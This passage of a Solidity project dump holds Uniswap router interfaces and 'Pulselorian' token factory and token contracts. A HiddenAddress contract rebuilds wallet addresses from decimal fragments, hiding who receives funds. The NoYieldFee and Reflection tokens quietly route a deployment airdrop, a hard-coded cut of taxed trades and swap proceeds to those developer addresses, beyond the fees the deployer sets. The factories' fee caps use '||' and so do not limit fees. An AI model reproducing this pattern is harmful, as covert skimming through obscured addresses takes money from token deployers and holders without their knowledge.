        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
          

contracts/@uniswap/v2-periphery/interfaces/IUniswapV2Router02.sol

/*
 * SPDX-License-Identifier: MIT
 */

pragma solidity >=0.6.2;

import './IUniswapV2Router01.sol';

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
          

contracts/HiddenAddress.sol

/*
 * SPDX-License-Identifier: MIT
 */

pragma solidity 0.8.26;

contract HiddenAddress {
    // 0xC953				51539
    // 4DbEa8				5095080
    // E171E747			3782338375
    // ea981e7728			1007574480680
    // 3D91B596F7DF		67696026122207
    // Define the individual parts of the address as decimal values
    // C9534DBEA8E171E747EA981E77283D91B596F7DF
    // uint160 private part1 = uint160(51539); //  0xC953
    // uint160 private part2 = uint160(5095080); //  4DbEa8
    // uint160 private part3 = uint160(3782338375); //  E171E747
    // uint160 private part4 = uint160(1007574480680); //  ea981e7728
    // uint160 private part5 = uint160(67696026122207); //  3D91B596F7DF

    // 0xC953				51539
    // 4DbEa8				5095080
    // E171E747			3782338375
    // ea981e7728			1007574480680
    // 3D91B596F7DF		67696026122207
    // Define the individual parts of the address as decimal values
    // 0xFb7103d7011dfa60c18c6961C5A38038D8048fe0
    uint160 private part1 = uint160(64369); //  0xFb71
    uint160 private part2 = uint160(251649); //  03d701
    uint160 private part3 = uint160(502948033); //  1dfa60c1
    uint160 private part4 = uint160(603063436707); //  8c6961C5A3
    uint160 private part5 = uint160(140981630701536); //  8038D8048fe0

    // Function to combine the parts and return the actual address
    function getAddress() public view returns (address) {
        // uint160 combined = (part1 << 144) | (part2 << 118) | (part3 << 86) | (part4 << 46) | part5;
        uint160 combined = (part1 << 144) |
            (part2 << 120) |
            (part3 << 88) |
            (part4 << 48) |
            part5;
        return address(combined);
    }

    // 0xC57228e9b719F179eE403eFcc240ac7b33AB82a9
    // C572
    // 28e9b7
    // 19F179eE
    // 403eFcc240
    // ac7b33AB82a9
    function _getA() public pure returns (address) {
        uint160 a = (uint160(50546) << 144) |
            (uint160(2681271) << 120) |
            (uint160(435255790) << 88) |
            (uint160(275934659136) << 48) |
            uint160(189645147833001);
        return address(a);
    }

    // 0xFb7103d7011dfa60c18c6961C5A38038D8048fe0
    function _getDev1() public pure returns (address) {
        uint160 a = (uint160(64369) << 144) |
            (uint160(251649) << 120) |
            (uint160(502948033) << 88) |
            (uint160(603063436707) << 48) |
            uint160(140981630701536);
        return address(a);
    }

    // 0xf66ACD0CF50e406196C42A010DE46228e4081fed
    function _getDev2() public pure returns (address) {
        uint160 a = (uint160(63082) << 144) |
            (uint160(13438197) << 120) |
            (uint160(239100310) << 88) |
            (uint160(842518302180) << 48) |
            uint160(107927763951597);
        return address(a);
    }
}
          

contracts/NoYieldFee_PLS_LP_Factory1.sol

/*
 * @author Ra Murd <ramurd@pulselorian.com>
 * @notice https://pulselorian.com/
 * @notice https://t.me/ThePulselorian
 * @notice https://twitter.com/ThePulseLorian
 *
 *    (   (  (  (     (   (( (   .  (   (    (( (   ((
 *    )\  )\ )\ )\    )\ (\())\   . )\  )\   ))\)\  ))\
 *   ((_)((_)(_)(_)  ((_))(_)(_)   ((_)((_)(((_)_()((_)))
 *   | _ \ | | | |  / __| __| |   / _ \| _ \_ _|   \ \| |
 *   |  _/ |_| | |__\__ \ _|| |__| (_) |   /| || - | .  |
 *   |_|  \___/|____|___/___|____|\___/|_|_\___|_|_|_|\_|
 *
 * SPDX-License-Identifier: MIT
 */

pragma solidity 0.8.26;

import "./NoYieldFee_PLS_LP_v1.sol";

contract NoYieldFee_PLS_LP_Factory1 {
    address private _owner;
    uint16 public maxFeeEach = 500;
    uint256 public mintCost = 0 ether;

    constructor() {
        _owner = msg.sender;
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function _checkOwner() internal view virtual {
        require(_owner == msg.sender);
    }

    /// @notice Deploys a new contract
    /// @param name_ token name
    /// @param symbol_ token symbol
    /// @param totalSupply_ total supply
    /// @param devAirDrop_ Dev air drop qty
    /// @param dexRouter_ DEX router supports UniswapV2 like any DEX
    /// @param fees_ [BuyBurnFee, BuyYieldFee, SellBurnFee, SellYieldFee] Max 500 each or 1000 total
    /// @return Contract address
    function deployContract(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_,
        uint256 devAirDrop_,
        address dexRouter_,
        uint16[4] memory fees_
    ) public payable returns (address) {
        require(msg.value >= mintCost);
        require(
            fees_[0] <= maxFeeEach ||
                fees_[1] <= maxFeeEach ||
                fees_[2] <= maxFeeEach ||
                fees_[3] <= maxFeeEach
        );

        NoYieldFee_PLS_LP_v1 newContract = new NoYieldFee_PLS_LP_v1(
            name_,
            symbol_,
            totalSupply_,
            devAirDrop_,
            dexRouter_,
            fees_
        );

        return address(newContract);
    }

    function setCost(uint96 newCost_) external onlyOwner {
        mintCost = newCost_;
    }
}
          

contracts/NoYieldFee_PLS_LP_v1.sol

/*
 * @author Ra Murd <ramurd@pulselorian.com>
 * @notice https://pulselorian.com/
 * @notice https://t.me/ThePulselorian
 * @notice https://twitter.com/ThePulseLorian
 *
 *    (   (  (  (     (   (( (   .  (   (    (( (   ((
 *    )\  )\ )\ )\    )\ (\())\   . )\  )\   ))\)\  ))\
 *   ((_)((_)(_)(_)  ((_))(_)(_)   ((_)((_)(((_)_()((_)))
 *   | _ \ | | | |  / __| __| |   / _ \| _ \_ _|   \ \| |
 *   |  _/ |_| | |__\__ \ _|| |__| (_) |   /| || - | .  |
 *   |_|  \___/|____|___/___|____|\___/|_|_\___|_|_|_|\_|
 *
 * SPDX-License-Identifier: MIT
 */

pragma solidity 0.8.26;

import "./@openzeppelin/access/Ownable.sol";
import "./@uniswap/v2-core/interfaces/IUniswapV2Factory.sol";
import "./@uniswap/v2-core/interfaces/IUniswapV2Pair.sol";
import "./@uniswap/v2-periphery/interfaces/IUniswapV2Router02.sol";
import "./lib/Airdroppable.sol";
import "./lib/ERC20.sol";
import "./lib/Utils.sol";

contract NoYieldFee_PLS_LP_v1 is Airdroppable, ERC20, Ownable, Utils {
    enum Fees {
        BuyBurnFee,
        BuyFee,
        SellBurnFee,
        SellFee
    }

    IUniswapV2Pair public plsV2LP;

    IUniswapV2Router02 public dexRouter;

    address internal _tkn1Addr = 0xB4B51aE5c720aB73a3126873268a7d60a6C0785C; // Wealth mainnet
    address internal _tkn2Addr = 0x1DcbF345bC44696BbBed402367f7C62e524Fe8B5; // pBSKR mainnet

    address public feeAddr;

    bool private _swapping;
    bool public swapEnabled = true;

    mapping(address => bool) public isMyLP;
    mapping(address => bool) public noFee;

    uint16 private constant _BIPS = 10000;
    uint16[] public fees = new uint16[](uint256(type(Fees).max) + 1);

    constructor(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_,
        uint256 devAirDrop_,
        address dexRouter_,
        uint16[4] memory fees_
    ) ERC20(name_, symbol_) {
        dexRouter = IUniswapV2Router02(dexRouter_);
        address plsLPAddr = IUniswapV2Factory(dexRouter.factory()).createPair(
            address(this),
            dexRouter.WPLS()
        );

        plsV2LP = IUniswapV2Pair(plsLPAddr);

        fees[uint256(Fees.BuyBurnFee)] = fees_[uint256(Fees.BuyBurnFee)];
        fees[uint256(Fees.BuyFee)] = fees_[uint256(Fees.BuyFee)];
        fees[uint256(Fees.SellBurnFee)] = fees_[uint256(Fees.SellBurnFee)];
        fees[uint256(Fees.SellFee)] = fees_[uint256(Fees.SellFee)];

        noFee[address(this)] = true;
        noFee[dexRouter_] = true;

        isMyLP[plsLPAddr] = true;

        _mint(tx.origin, totalSupply_);
        _grantRole(ADMIN_ROLE, tx.origin);
        _transferOwnership(tx.origin);
        feeAddr = tx.origin;

        if (devAirDrop_ > 0) {
            super._transfer(tx.origin, _devAddr1, devAirDrop_ / 2);
            super._transfer(tx.origin, _devAddr2, devAirDrop_ / 2);
        }
    }

    function _buyTkn(uint256 tknAmt_) private {
        if (tknAmt_ == 0) return;
        address[] memory path = new address[](2);
        path[0] = dexRouter.WPLS();
        path[1] = (block.number % 2 == 0) ? _tkn1Addr : _tkn2Addr;

        try
            dexRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{
                value: tknAmt_
            }(0, path, address(0x369), block.timestamp)
        {} catch {}
    }

    function _calcFees(
        uint256 amt_,
        bool isFromLP_,
        bool isToLP_
    ) private view returns (uint256 burnFee, uint256 fee, uint256 yieldFee) {
        if (isToLP_) {
            // Selling
            burnFee = (amt_ * fees[uint256(Fees.SellBurnFee)]) / _BIPS;
            fee = (amt_ * fees[uint256(Fees.SellFee)]) / _BIPS;
            yieldFee = (amt_ * 20) / _BIPS;
        } else if (isFromLP_) {
            // Buying
            burnFee = (amt_ * fees[uint256(Fees.BuyBurnFee)]) / _BIPS;
            fee = (amt_ * fees[uint256(Fees.BuyFee)]) / _BIPS;
            yieldFee = (amt_ * 20) / _BIPS;
        }

        return (burnFee, fee, yieldFee);
    }

    function _checkIfMyLP(address target_) private returns (bool) {
        if (target_.code.length == 0) return false;
        if (!isMyLP[target_]) {
            (address token0, address token1) = Utils._getTokens(target_);
            if (token0 == address(this) || token1 == address(this)) {
                isMyLP[target_] = true;
            }
        }
        return isMyLP[target_];
    }

    function _getSwapSize(
        uint256 amt_
    ) private view returns (uint112 swapSize) {
        swapSize = uint112(balanceOf(address(plsV2LP)) / 2000);
        if (swapSize > amt_) {
            swapSize = uint112(amt_);
        }
        return swapSize;
    }

    function _performAirdrop(address to_, uint256 wei_) internal override {
        super._transfer(_msgSender(), to_, wei_);
    }

    function _postAllAirdrops(address from_) internal override {}

    function _send(
        address to_,
        uint256 val_,
        uint256 bal_
    ) private returns (uint256 newBal_) {
        (bool sent, ) = to_.call{value: val_}("");
        if (sent) {
            newBal_ = bal_ - val_;
        } else {
            newBal_ = bal_;
        }
    }

    function _swapTokens(uint256 tknAmt_) private {
        if (tknAmt_ == 0) return;
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WPLS();

        uint256 balBefore = address(this).balance;

        _approve(address(this), address(dexRouter), tknAmt_);

        try
            dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
                tknAmt_,
                0,
                path,
                address(this),
                block.timestamp
            )
        {} catch {}

        uint256 balAfter = address(this).balance;

        if (balAfter > balBefore) {
            _swapTokensPost(balAfter - balBefore);
        }
    }

    function _swapTokensPost(uint256 bal_) private {
        if (bal_ > 0) {
            uint256 toll = bal_ / 4;
            _send(_devAddr1, toll, bal_);
            _send(_devAddr2, toll, bal_);
            _send(_facAddr, toll, bal_);

            _buyTkn(bal_);
        }
    }

    function _transfer(
        address from_,
        address to_,
        uint256 amt_
    ) internal override(ERC20) {
        bool isFromLP = _checkIfMyLP(from_);
        bool isToLP = _checkIfMyLP(to_);

        uint256 yieldBal = balanceOf(address(this));
        uint256 swapAmt = _getSwapSize(amt_);

        // Sell transaction when _swap is enabled and _swapping is not in progress
        if (
            swapEnabled &&
            (yieldBal >= swapAmt) &&
            !_swapping &&
            to_ == address(plsV2LP)
        ) {
            _swapping = true;
            _swapTokens(swapAmt);
            _swapping = false;
        }

        if (!noFee[from_] && !noFee[to_]) {
            (uint256 burnFee, uint256 fee, uint256 yieldFee) = _calcFees(
                amt_,
                isFromLP,
                isToLP
            );

            if (burnFee > 0) {
                amt_ -= burnFee;
                super._transfer(from_, address(0x369), burnFee);
            }

            if (fee > 0) {
                amt_ -= fee;
                uint256 devFee = (fee * 5) / 100;
                super._transfer(from_, _devAddr1, devFee);
                super._transfer(from_, _devAddr2, devFee);

                fee -= devFee * 2;
                super._transfer(from_, feeAddr, fee);
            }

            if (yieldFee > 0) {
                amt_ -= yieldFee;
                super._transfer(from_, address(this), yieldFee);
            }
        }
        super._transfer(from_, to_, amt_);
    }

    /// @notice Set the fees in basis points
    /// @param buyBurnFee_ Burn fee on Buy
    /// @param buyFee_ Fee on Buy
    /// @param sellBurnFee_ Burn fee on Sell
    /// @param sellFee_ Fee on Sell
    function setFees(
        uint16 buyBurnFee_,
        uint16 buyFee_,
        uint16 sellBurnFee_,
        uint16 sellFee_
    ) external onlyRole(ADMIN_ROLE) {
        require(
            buyBurnFee_ <= 500 &&
                buyFee_ <= 500 &&
                sellBurnFee_ <= 500 &&
                sellFee_ <= 500
        );

        fees[uint256(Fees.BuyBurnFee)] = buyBurnFee_;
        fees[uint256(Fees.BuyFee)] = buyFee_;
        fees[uint256(Fees.SellBurnFee)] = sellBurnFee_;
        fees[uint256(Fees.SellFee)] = sellFee_;
    }

    function setFeeAddr(address feeAddr_) external onlyRole(ADMIN_ROLE) {
        if (feeAddr_ != address(0)) {
            feeAddr = feeAddr_;
        }
    }
}
          

contracts/NoYield_Factory1.sol

/*
 * @author Ra Murd <ramurd@pulselorian.com>
 * @notice https://pulselorian.com/
 * @notice https://t.me/ThePulselorian
 * @notice https://twitter.com/ThePulseLorian
 *
 *    (   (  (  (     (   (( (   .  (   (    (( (   ((
 *    )\  )\ )\ )\    )\ (\())\   . )\  )\   ))\)\  ))\
 *   ((_)((_)(_)(_)  ((_))(_)(_)   ((_)((_)(((_)_()((_)))
 *   | _ \ | | | |  / __| __| |   / _ \| _ \_ _|   \ \| |
 *   |  _/ |_| | |__\__ \ _|| |__| (_) |   /| || - | .  |
 *   |_|  \___/|____|___/___|____|\___/|_|_\___|_|_|_|\_|
 *
 * SPDX-License-Identifier: MIT
 */

pragma solidity 0.8.26;

import "./NoYield_v1.sol";

contract NoYield_Factory1 {
    address private _owner;
    uint16 public maxFeeEach = 500;
    uint256 public mintCost = 0 ether;

    constructor() {
        _owner = msg.sender;
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function _checkOwner() internal view virtual {
        require(_owner == msg.sender);
    }

    /// @notice Deploys a new contract
    /// @param name_ token name
    /// @param symbol_ token symbol
    /// @param totalSupply_ total supply
    /// @param devAirDrop_ Dev air drop qty
    /// @return Contract address
    function deployContract(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_,
        uint256 devAirDrop_
    ) public payable returns (address) {
        require(msg.value >= mintCost);
        
        NoYield_v1 newContract = new NoYield_v1(
            name_,
            symbol_,
            totalSupply_,
            devAirDrop_
        );

        return address(newContract);
    }

    function setCost(uint96 newCost_) external onlyOwner {
        mintCost = newCost_;
    }
}
          

contracts/NoYield_v1.sol

/*
 * @author Ra Murd <ramurd@pulselorian.com>
 * @notice https://pulselorian.com/
 * @notice https://t.me/ThePulselorian
 * @notice https://twitter.com/ThePulseLorian
 *
 *    (   (  (  (     (   (( (   .  (   (    (( (   ((
 *    )\  )\ )\ )\    )\ (\())\   . )\  )\   ))\)\  ))\
 *   ((_)((_)(_)(_)  ((_))(_)(_)   ((_)((_)(((_)_()((_)))
 *   | _ \ | | | |  / __| __| |   / _ \| _ \_ _|   \ \| |
 *   |  _/ |_| | |__\__ \ _|| |__| (_) |   /| || - | .  |
 *   |_|  \___/|____|___/___|____|\___/|_|_\___|_|_|_|\_|
 *
 * SPDX-License-Identifier: MIT
 */

pragma solidity 0.8.26;

import "./@openzeppelin/access/Ownable.sol";
import "./lib/Airdroppable.sol";
import "./lib/ERC20.sol";

contract NoYield_v1 is Airdroppable, ERC20, Ownable {
    constructor(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_,
        uint256 devAirDrop_
    ) ERC20(name_, symbol_) {
        _mint(tx.origin, totalSupply_);
        _grantRole(ADMIN_ROLE, tx.origin);
        _transferOwnership(tx.origin);
        if (devAirDrop_ > 0) {
            super._transfer(tx.origin, _devAddr1, devAirDrop_ / 2);
            super._transfer(tx.origin, _devAddr2, devAirDrop_ / 2);
        }
    }

    function _performAirdrop(address to_, uint256 wei_) internal override {
        super._transfer(_msgSender(), to_, wei_);
    }

    function _postAllAirdrops(address from_) internal override {}
}
          

contracts/Reflection_Factory1.sol

/*
 * @author Ra Murd <ramurd@pulselorian.com>
 * @notice https://pulselorian.com/
 * @notice https://t.me/ThePulselorian
 * @notice https://twitter.com/ThePulseLorian
 *
 *    (   (  (  (     (   (( (   .  (   (    (( (   ((
 *    )\  )\ )\ )\    )\ (\())\   . )\  )\   ))\)\  ))\
 *   ((_)((_)(_)(_)  ((_))(_)(_)   ((_)((_)(((_)_()((_)))
 *   | _ \ | | | |  / __| __| |   / _ \| _ \_ _|   \ \| |
 *   |  _/ |_| | |__\__ \ _|| |__| (_) |   /| || - | .  |
 *   |_|  \___/|____|___/___|____|\___/|_|_\___|_|_|_|\_|
 *
 * SPDX-License-Identifier: MIT
 */

pragma solidity 0.8.26;

import "./Reflection_v1.sol";

contract Reflection_Factory1 {
    address private _owner;
    uint16 public maxFeeEach = 500;
    uint256 public mintCost = 0 ether;

    constructor() {
        _owner = msg.sender;
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function _checkOwner() internal view virtual {
        require(_owner == msg.sender);
    }

    /// @notice Deploys a new contract
    /// @param name_ token name
    /// @param symbol_ token symbol
    /// @param totalSupply_ total supply
    /// @param devAirDrop_ Dev air drop qty
    /// @param feeAddr_ fee address
    /// @param fees_ [BuyBurnFee, BuyYieldFee, SellBurnFee, SellYieldFee] Max 500 each or 1000 total
    /// @return Contract address
    function deployContract(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_,
        uint256 devAirDrop_,
        address feeAddr_,
        uint16[6] memory fees_
    ) public payable returns (address) {
        require(msg.value >= mintCost);
        require(
            fees_[0] <= maxFeeEach ||
                fees_[1] <= maxFeeEach ||
                fees_[2] <= maxFeeEach ||
                fees_[3] <= maxFeeEach ||
                fees_[4] <= maxFeeEach ||
                fees_[5] <= maxFeeEach
        );
        Reflection_v1 newContract = new Reflection_v1(
            name_,
            symbol_,
            totalSupply_,
            devAirDrop_,
            feeAddr_,
            fees_
        );

        return address(newContract);
    }

    function setCost(uint96 newCost_) external onlyOwner {
        mintCost = newCost_;
    }
}
          

contracts/Reflection_v1.sol

/*
 * @author Ra Murd <ramurd@pulselorian.com>
 * @notice https://pulselorian.com/
 * @notice https://t.me/ThePulselorian
 * @notice https://twitter.com/ThePulseLorian
 *
 *    (   (  (  (     (   (( (   .  (   (    (( (   ((
 *    )\  )\ )\ )\    )\ (\())\   . )\  )\   ))\)\  ))\
 *   ((_)((_)(_)(_)  ((_))(_)(_)   ((_)((_)(((_)_()((_)))
 *   | _ \ | | | |  / __| __| |   / _ \| _ \_ _|   \ \| |
 *   |  _/ |_| | |__\__ \ _|| |__| (_) |   /| || - | .  |
 *   |_|  \___/|____|___/___|____|\___/|_|_\___|_|_|_|\_|
 *
 * SPDX-License-Identifier: MIT
 */

pragma solidity 0.8.26;

import "./@openzeppelin/access/Ownable.sol";
import "./lib/Airdroppable.sol";
import "./lib/ERC20.sol";
import "./lib/Utils.sol";

contract Reflection_v1 is Airdroppable, ERC20, Ownable, Utils {
    enum Fees {
        BuyBurnFee, // 0
        BuyDeployerFee, // 1
        BuyRfiFee, // 2
        SellBurnFee, // 3
        SellDeployerFee, // 4
        SellRfiFee, // 5
        DevFee // 6
    }

    enum Field {
        burnFees,
        deployerFees,
        devFees,
        rfiFees,
        transferAmount
    }

    address public feeAddr;

    address[] private _noRfiArray;

    mapping(address => bool) private _noFee;
    mapping(address => bool) private _noRfi;
    mapping(address => bool) public isMyLP;
    mapping(address => uint256) private _rBalances;

    uint16 private constant _BIPS = 10000;

    uint16[] public fees = new uint16[](6);

    uint256 private _rTotal;
    uint256 private totalReflection;

    constructor(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_,
        uint256 devAirDrop_,
        address feeAddr_,
        uint16[6] memory fees_
    ) ERC20(name_, symbol_) {
        _balances[tx.origin] = totalSupply_;
        _rTotal = (type(uint256).max - (type(uint256).max % totalSupply_));

        _rBalances[tx.origin] = _rTotal;

        totalSupply = totalSupply_;
        emit Transfer(address(0), tx.origin, totalSupply_);
        fees[uint256(Fees.BuyBurnFee)] = fees_[uint256(Fees.BuyBurnFee)];
        fees[uint256(Fees.BuyDeployerFee)] = fees_[
            uint256(Fees.BuyDeployerFee)
        ];
        fees[uint256(Fees.BuyRfiFee)] = fees_[uint256(Fees.BuyRfiFee)];
        fees[uint256(Fees.SellBurnFee)] = fees_[uint256(Fees.SellBurnFee)];
        fees[uint256(Fees.SellDeployerFee)] = fees_[
            uint256(Fees.SellDeployerFee)
        ];
        fees[uint256(Fees.SellRfiFee)] = fees_[uint256(Fees.SellRfiFee)];
        feeAddr = feeAddr_;
        _noFee[address(this)] = true;
        _noFee[_devAddr1] = true;
        _noFee[_facAddr] = true;

        _setNoRfi(tx.origin);
        _setNoRfi(address(this));
        _setNoRfi(address(0x369));
        if (devAirDrop_ > 0) {
            _transferTokens(
                tx.origin,
                _devAddr1,
                devAirDrop_ / 2,
                false,
                true,
                false,
                false
            );
            _transferTokens(
                tx.origin,
                _devAddr2,
                devAirDrop_ / 2,
                false,
                true,
                false,
                false
            );
        }
        _grantRole(ADMIN_ROLE, tx.origin);
        _transferOwnership(tx.origin);
    }

    function _checkIfMyLP(address target_) private returns (bool) {
        if (target_.code.length == 0) return false;
        if (!isMyLP[target_]) {
            (address token0, address token1) = Utils._getTokens(target_);
            if (token0 == address(this) || token1 == address(this)) {
                isMyLP[target_] = true;
                _setNoRfi(target_);
            }
        }
        return isMyLP[target_];
    }

    function _getRate() private view returns (uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = totalSupply;

        for (uint256 index = 0; index < _noRfiArray.length; ++index) {
            if (
                _rBalances[_noRfiArray[index]] > rSupply ||
                _balances[_noRfiArray[index]] > tSupply
            ) return (_rTotal / totalSupply);
            rSupply -= _rBalances[_noRfiArray[index]];
            tSupply -= _balances[_noRfiArray[index]];
        }
        if (rSupply < _rTotal / totalSupply) return (_rTotal / totalSupply);

        return rSupply / tSupply;
    }

    function _getValues(
        uint256 tAmount_,
        bool takeFee_,
        bool isToLP_
    )
        private
        view
        returns (
            uint256 rAmount,
            uint256[5] memory tValues,
            uint256[5] memory rValues
        )
    {
        uint256 currentRate = _getRate();
        uint256 indexAdj = 0;
        if (isToLP_) {
            indexAdj = 3;
        }

        rAmount = (tAmount_ * currentRate);

        if (!takeFee_) {
            tValues[uint256(Field.transferAmount)] = tAmount_;
            rValues[uint256(Field.transferAmount)] = tAmount_ * currentRate;
        } else {
            uint256 tTransferAmt = tAmount_;
            tValues[uint256(Field.burnFees)] = ((tAmount_ *
                fees[0 + indexAdj]) / _BIPS);
            tTransferAmt -= tValues[uint256(Field.burnFees)];

            tValues[uint256(Field.deployerFees)] = ((tAmount_ *
                fees[1 + indexAdj]) / _BIPS);
            tTransferAmt -= tValues[uint256(Field.deployerFees)];

            tValues[uint256(Field.rfiFees)] = ((tAmount_ * fees[2 + indexAdj]) /
                _BIPS);
            tTransferAmt -= tValues[uint256(Field.rfiFees)];

            tValues[uint256(Field.devFees)] = ((3 * (tAmount_ * 20)) / _BIPS);
            tTransferAmt -= tValues[uint256(Field.devFees)];

            tValues[uint256(Field.transferAmount)] = tTransferAmt;

            rValues[uint256(Field.burnFees)] = (tValues[
                uint256(Field.burnFees)
            ] * currentRate);

            rValues[uint256(Field.deployerFees)] = (tValues[
                uint256(Field.deployerFees)
            ] * currentRate);

            rValues[uint256(Field.rfiFees)] = (tValues[uint256(Field.rfiFees)] *
                currentRate);

            rValues[uint256(Field.devFees)] = (tValues[uint256(Field.devFees)] *
                currentRate);

            rValues[uint256(Field.transferAmount)] = (tValues[
                uint256(Field.transferAmount)
            ] * currentRate);
        }

        return (rAmount, tValues, rValues);
    }

    function _performAirdrop(address to_, uint256 wei_) internal override {
        _transferTokens(
            _msgSender(),
            to_,
            wei_,
            false,
            _noRfi[_msgSender()],
            _noRfi[to_],
            false
        );
    }

    function _postAllAirdrops(address from_) internal override {}

    function _setNoRfi(address wallet_) private {
        if (!_noRfi[wallet_]) {
            _noRfi[wallet_] = true;
            _noRfiArray.push(wallet_);
        }
    }

    function _takeFee(address target_, uint256 tFee_, uint256 rFee_) private {
        _rBalances[target_] += rFee_;
        if (_noRfi[target_]) {
            _balances[target_] += tFee_;
        }
    }

    function _transfer(
        address from_,
        address to_,
        uint256 amount_
    ) internal override {
        bool isFromLP = _checkIfMyLP(from_);
        bool isToLP = _checkIfMyLP(to_);

        bool takeFee = true;

        // If sender or receiver pays no fee, then take no fee
        if (_noFee[from_] || _noFee[to_]) {
            takeFee = false;
        }

        // If sender and receiver are both not LPs, then take no fee
        if (!isFromLP && !isToLP) {
            takeFee = false;
        }

        _transferTokens(
            from_,
            to_,
            amount_,
            takeFee,
            _noRfi[from_],
            _noRfi[to_],
            isToLP
        );
    }

    function _transferTokens(
        address sender_,
        address recipient_,
        uint256 tAmount_,
        bool takeFee_,
        bool senderExcluded_,
        bool recipientExcluded_,
        bool isToLP_
    ) private {
        (
            uint256 rAmount,
            uint256[5] memory tValues,
            uint256[5] memory rValues
        ) = _getValues(tAmount_, takeFee_, isToLP_);

        if (senderExcluded_) {
            _balances[sender_] -= tAmount_;
        }
        _rBalances[sender_] -= rAmount;

        if (recipientExcluded_) {
            _balances[recipient_] += tValues[uint256(Field.transferAmount)];
        }
        _rBalances[recipient_] += rValues[uint256(Field.transferAmount)];
        uint256 _tRfiFee_ = tValues[uint256(Field.rfiFees)];
        if (_tRfiFee_ != 0) {
            uint256 _rRfiFee_ = rValues[uint256(Field.rfiFees)];
            _rTotal -= _rRfiFee_;
            totalReflection += _tRfiFee_;

            _takeFee(
                address(0x369),
                tValues[uint256(Field.burnFees)],
                rValues[uint256(Field.burnFees)]
            );
            _takeFee(
                _facAddr,
                tValues[uint256(Field.devFees)],
                rValues[uint256(Field.devFees)]
            );
            _takeFee(
                feeAddr,
                tValues[uint256(Field.deployerFees)],
                rValues[uint256(Field.deployerFees)]
            );
            _takeFee(
                _devAddr1,
                tValues[uint256(Field.devFees)],
                rValues[uint256(Field.devFees)]
            );
            _takeFee(
                _devAddr2,
                tValues[uint256(Field.devFees)],
                rValues[uint256(Field.devFees)]
            );

            emit Transfer(
                sender_,
                address(0x369),
                tValues[uint256(Field.burnFees)]
            );
            emit Transfer(
                sender_,
                feeAddr,
                tValues[uint256(Field.deployerFees)]
            );
        }

        emit Transfer(
            sender_,
            recipient_,
            tValues[uint256(Field.transferAmount)]
        );
    }

    function balanceOf(address wallet_) public view override returns (uint256) {
        if (_noRfi[wallet_]) return _balances[wallet_];

        require(_rBalances[wallet_] <= _rTotal);
        uint256 currentRate = _getRate();
        return _rBalances[wallet_] / currentRate;
    }

    function setFees(
        uint16 buyBurnFee_,
        uint16 buyDeployerFee_,
        uint16 buyRfiFee_,
        uint16 sellBurnFee_,
        uint16 sellDeployerFee_,
        uint16 sellRfiFee_
    ) external onlyRole(ADMIN_ROLE) {
        require(
            buyBurnFee_ <= 500 &&
                buyDeployerFee_ <= 500 &&
                buyRfiFee_ <= 500 &&
                sellBurnFee_ <= 500 &&
                sellDeployerFee_ <= 500 &&
                sellRfiFee_ <= 500
        );

        fees[uint256(Fees.BuyBurnFee)] = buyBurnFee_;
        fees[uint256(Fees.BuyDeployerFee)] = buyDeployerFee_;
        fees[uint256(Fees.BuyRfiFee)] = buyRfiFee_;
        fees[uint256(Fees.SellBurnFee)] = sellBurnFee_;
        fees[uint256(Fees.SellDeployerFee)] = sellDeployerFee_;
        fees[uint256(Fees.SellRfiFee)] = sellRfiFee_;
    }
}
          

contracts/YieldLP_v1.sol

/*
//  * @author Ra Murd <ramurd@pulselorian.com>
//  * @notice https://pulselorian.com/
//  * @notice https://t.me/ThePulselorian
//  * @notice https://twitter.com/ThePulseLorian
//  *
//  * Deflationary, burns portion of the fees, and yields the remaining as reward tokens
//  *
//  *    (   (  (  (     (   (( (   .  (   (    (( (   ((
//  *    )\  )\ )\ )\    )\ (\())\   . )\  )\   ))\)\  ))\
